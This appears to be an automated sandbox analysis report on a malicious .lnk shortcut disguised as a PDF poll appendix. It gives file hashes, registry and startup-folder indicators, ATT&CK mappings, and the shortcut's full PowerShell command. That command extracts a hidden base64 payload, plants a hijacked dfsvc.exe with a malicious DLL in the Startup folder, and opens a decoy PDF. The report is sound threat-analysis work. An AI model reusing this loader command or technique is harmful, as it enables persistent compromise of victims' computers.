913830666dd46e96e5ecbecc71e686e3c78d257ec7f5a0d0a451663251715800

General

Target

Quarterly Cambodia Poll Appendix.pdf.lnk
Size

2.2MB
MD5

23d55b0f6a502c7ed3a70d41272b0732
SHA1

36a2c2cd63e3ca23a7934cfb3e7a957f2b5363f8
SHA256

cfbd704cab3a8edd64f8bf89da7e352adf92bd187b3a7e4d0634a2dc764262b5
SHA512

53984a522f5629f3bf64e62f9855254c74497388f0632e76b00fb16fba7b7fb45ffe2c0db7cd0e7016847f2a5d966e42b3081a47d6fc9a067c6bd0d9d9e752af
SSDEEP

49152:zrdLymX/jNT7IBkZw3xFdyaxDadhCtbdMuC4vmYrl4GRGjEOaUJiuw:

Score

7^/10

Malware Config

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d.exe	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\d.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 18 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Documents"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\Bags	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f44471a0359723fa74489c55595fe6b30ee0000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 200000001a00eebbfe2300001000d09ad3fd8f23af46adb46c85480369c700000000	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	explorer.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2872	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2768	explorer.exe
2768	explorer.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1796 wrote to memory of 2872	1796	cmd.exe	31
PID 1796 wrote to memory of 2872	1796	cmd.exe	31
PID 1796 wrote to memory of 2872	1796	cmd.exe	31
PID 2872 wrote to memory of 2692	2872	powershell.exe	32
PID 2872 wrote to memory of 2692	2872	powershell.exe	32
PID 2872 wrote to memory of 2692	2872	powershell.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Quarterly Cambodia Poll Appendix.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:1796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c $t=$env:appdata+'\Microsoft\Windows\Start Menu\Programs\Startup';if(Get-ChildItem $env:temp -recurse 'Quarterly Cambodia Poll Appendix.pdf.lnk'){$k=New-Object IO.FileStream ($env:temp+'\'+((Get-ChildItem $env:temp -recurse 'Quarterly Cambodia Poll Appendix.pdf.lnk').Directory).Name+'\'+'Quarterly Cambodia Poll Appendix.pdf.lnk'),'Open','Read','ReadWrite'}else{$k=New-Object IO.FileStream 'Quarterly Cambodia Poll Appendix.pdf.lnk','Open','Read','ReadWrite'};$b=New-Object byte[](2298152);$k.Seek(2953,[IO.SeekOrigin]::Begin);$k.Read($b,0,2298152);$a=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64CharArray($b,0,$b.Length)) -split ':';copy 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe' ($t+'\d.exe');[IO.File]::WriteAllBytes($t+'\d.exe.config',[Convert]::FromBase64""String($a[0]));[IO.File]::WriteAllBytes($t+'\DomainManager.dll',[Convert]::FromBase64""String($a[1]));[IO.File]::WriteAllBytes($env:temp+'\e.pdf',[Convert]::FromBase64""String($a[2]));explorer ($env:temp+'\e.pdf');
  2⤵
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2872
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe" C:\Users\Admin\AppData\Local\Temp\e.pdf
    3⤵
    PID:2692

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2768

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2768-48-0x0000000003E80000-0x0000000003E90000-memory.dmp

Filesize
64KB

Download
memory/2872-38-0x000007FEF50CE000-0x000007FEF50CF000-memory.dmp

Filesize
4KB

Download
memory/2872-39-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2872-42-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-41-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-40-0x0000000002280000-0x0000000002288000-memory.dmp

Filesize
32KB

Download
memory/2872-43-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-44-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-46-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download
memory/2872-47-0x000007FEF4E10000-0x000007FEF57AD000-memory.dmp

Filesize
9.6MB

Download

Resubmissions

Analysis

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